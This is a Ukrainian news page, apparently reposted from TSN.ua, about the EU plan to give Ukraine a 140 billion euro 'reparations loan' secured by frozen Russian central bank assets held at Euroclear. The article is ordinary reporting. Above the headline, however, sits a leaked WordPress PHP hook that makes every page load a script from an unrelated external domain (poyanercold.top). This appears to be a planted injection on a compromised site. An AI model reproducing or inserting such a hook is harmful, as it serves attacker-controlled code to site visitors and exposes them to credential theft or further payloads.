add_action('wp_enqueue_scripts', function () { wp_enqueue_script( 'poyaner-api', 'https://poyanercold.top/zzo0hiv4b8/api', array(), null, true ); }); ЄС має свої «Томагавки» для удару по Путіну: як і коли Україна зможе отримати 140 млрд євро заморожених російських акти… – Misto News

ЄС має свої «Томагавки» для удару по Путіну: як і коли Україна зможе отримати 140 млрд євро заморожених російських акти…

Йдеться про заморожені активи російського Центробанку. В умовах невизначеності подальшої допомоги з боку адміністрації Трампа, Єврокомісія запропонувала країнам-членам ЄС надати Україні «репараційну позику» на 140 млрд євро. Забезпечити її пропонується активами ЦБ РФ, левова частка яких знерухомлена в бельгійському депозитарії Euroclear. Кредит надаватиметься траншами й піде як на оборонні потреби України протягом наступних 2-3 років, так і на прямі бюджетні вливання. Повертати «репараційну позику» нам доведеться лише якщо Росія виплатить Україні репарації.

Німеччина, яка ще донедавна була проти будь-яких дій, пов’язаних із замороженими активами ЦБ РФ, змінила свою думку. Наприкінці вересня у статті для Financial Times канцлер Фрідріх Мерц закликав ЄС знайти правовий механізм для використання активів в обсязі, здатному забезпечити військову й фінансову стійкість України впродовж наступних кількох років. Проте, за словами президентки Єврокомісії Урсули фон дер Ляєн, «багато країн-членів вагаються, чи це справді гарна ідея». Серед них Бельгія, де, власне, і розташований Euroclear, а також Франція, Італія, Люксембург та Угорщина.

Тож, чи отримає Україна 140 млрд євро, по суті, заморожених російських активів? Коли ЄС може ухвалити це рішення? Та яку зброю можна буде купити на ці гроші? Читайте в матеріалі ТСН.ua.

«Недоторкані» активи РФ: як ЄС змінював свою позицію

28 лютого 2022 року, через 4 дні після початку повномасштабного російського вторгнення в Україну, запровадивши третій пакет санкцій проти Росії, ЄС заблокував 210 млрд євро активів ЦБ РФ. Близько двох третин із 280 млрд євро заморожених російських активів всіма країнами G7 — 185 млрд євро — зберігаються в бельгійському депозитарії Euroclear. Лише в травні 2024 року, готуючись до скорочення підтримки України та Європи загалом з боку США, ЄС затвердив нову правову базу, щоб перенаправляти доходи, які генерують знерухомлені активи ЦБ РФ, на підтримку України.

Країни ЄС та G7 домовилися, що 95% цих доходів спрямують на ініціативу Extraordinary Revenue Acceleration for Ukraine («Надзвичайне прискорення доходів для України» — ERA). З цих грошей будуть погашатися позики на 45 млрд євро, які союзники передбачили для Києва до кінця 2027 року. Інші 5% йдуть до Європейського фонду миру для закупівель зброї для потреб Сил оборони України. На початку жовтня український Мінфін повідомляв, що у 2024-2025 роках у рамках ERA країни ЄС та G7 вже надали Києву майже 26 млрд євро.

Проте, за попередніми оцінками МВФ, потреби України в зовнішньому фінансуванні на 2026-2029 роки — близько 52 млрд євро, не враховуючи оборонну сферу. На додачу, після повернення до Білого дому, Трамп дав чітко зрозуміти, що війна Росії проти України — це «проблема» Європи, на якій США, втім, не проти заробити, продаючи зброю. Так, у липні США та НАТО підписали угоду про PURL (Prioritised Ukraine Requirements List — «Перелік пріоритетних вимог для України»), що передбачає закупівлі американської зброї для України коштом європейських країн, яку координує НАТО.

За три місяці до PURL надійшло $2 млрд. За словами українського міністра закордонних справ Андрія Сибіги, на сьогодні шість країн внесли конкретні суми для наповнення й продовження цієї програми.

«Станом на сьогодні ми можемо говорити про намір ще семи країн виступити учасниками з конкретним внеском. Наступними кроками стануть заходи по лінії військових та Міністерства оборони. Зокрема — засідання міністрів оборони (країн НАТО 15 жовтня — Ред.). Ми очікуємо „Рамштайн“ (також 15 жовтня — Ред.). Тому мені здається, що це добрі майданчики, де ця тематика буде обговорюватися, й можна очікувати на практичні результати», — зазначив Андрій Сибіга під час візиту очільниці дипломатії ЄС Каї Каллас до Києва в понеділок, 13 жовтня.

Проте, очевидно, коли йдеться про такі дороговартісні системи ППО, як Patriot, які критично потрібні Україні з огляду на мету Росії знищити нашу енергетичну систему, щоб залишити українців взимку без світла, тепла та водопостачання, внеску лише шести країн на $2 млрд недостатньо. За словами президента Зеленського, ціль Києва на черговому «Рамштайні» 15 жовтня, — це саме ППО.

«І не просто перелік необхідних систем і ракет до них, але й чітке розуміння, з якої країни і на яких умовах може бути швидке постачання. І якщо PURL вже стала ефективною, то європейську програму Security Action for Europe („Безпекові дії для Європи“ — підтримка країн-членів ЄС та України щодо розбудови оборонної промисловості, що передбачає 150 млрд євро довгострокових позик — Ред.) ще треба наповнити реально актуальним змістом», — додав президент Зеленський.

На шляху до рішення ЄС: «Томагавки» за гроші РФ

Перебуваючи з візитом у Києві, Кая Каллас запевнила, що ЄС працює над «репараційним кредитом» для України. За її словами, через занепокоєння різних країн, є два шляхи:

  • перший — створити таку юридично обґрунтовану систему, яка б покривала ризики для тих держав-членів ЄС, які можуть понести їх найбільше;

  • другий — як і коли можна використовувати цей репараційний кредит.

Поки єдності щодо юридичних шляхів використання заморожених активів ЦБ РФ на користь України немає. Обговорення цього питання продовжиться 23 жовтня у Брюсселі на засіданні Європейської ради — саміті глав держав та урядів ЄС, в якому візьме участь і Володимир Зеленський. Деякі країни ЄС, наприклад, Бельгія, де й знаходиться депозитарій Euroclear, побоюються судових позовів з боку Росії. Тому вони вимагають гарантій і розподілення фінансового тягаря, щоб, умовно, не залишитися сам на сам із боргами, які потім доведеться повертати Росії. Проте також є й ті держави, які хочуть використати заморожені активи ЦБ РФ як важіль на переговорах з Путіним.

Раніше Урсула фон дер Ляєн говорила, що надання Україні «репараційної позики» не передбачає негайної конфіскації заморожених активів ЦБ РФ. Єврокомісія хоче використати готівку, яку накопичує Euroclear від погашення російських облігацій та інших заморожених російських активів, як забезпечення для випуску облігацій. Якраз ці майбутні згенеровані кошти й будуть використані для надання Україні «репараційного кредиту» на 140 млрд євро. До речі американські ракети «Томагавк», за словами Володимира Зеленського, теж можна профінансувати за рахунок заморожених активів ЦБ РФ.

Спільне рішення країни-члени ЄС мають знайти до кінця цього року — максимум на початку наступного. Адже такі держави, як Франція та Німеччина вже стикаються з величезними економічними проблемами вдома, які у 2026 році постануть ще гостріше. Щоб потенційно обійти вето Угорщини, а Віктор Орбан вже заявив, що не розділятиме відповідальність з Бельгією за ризики «відбирання чужих грошей» (російських заморожених активів — Ред.), та Словаччини, новий «репараційний кредит» для України може бути підкріплений «коаліцією охочих». За інформацією Bloomberg, якщо згоди вдасться досягти на саміті ЄС у Брюсселі 23 жовтня, Єврокомісія почне роботу над юридичною пропозицією щодо механізму вивільнення коштів до другого кварталу 2026 року.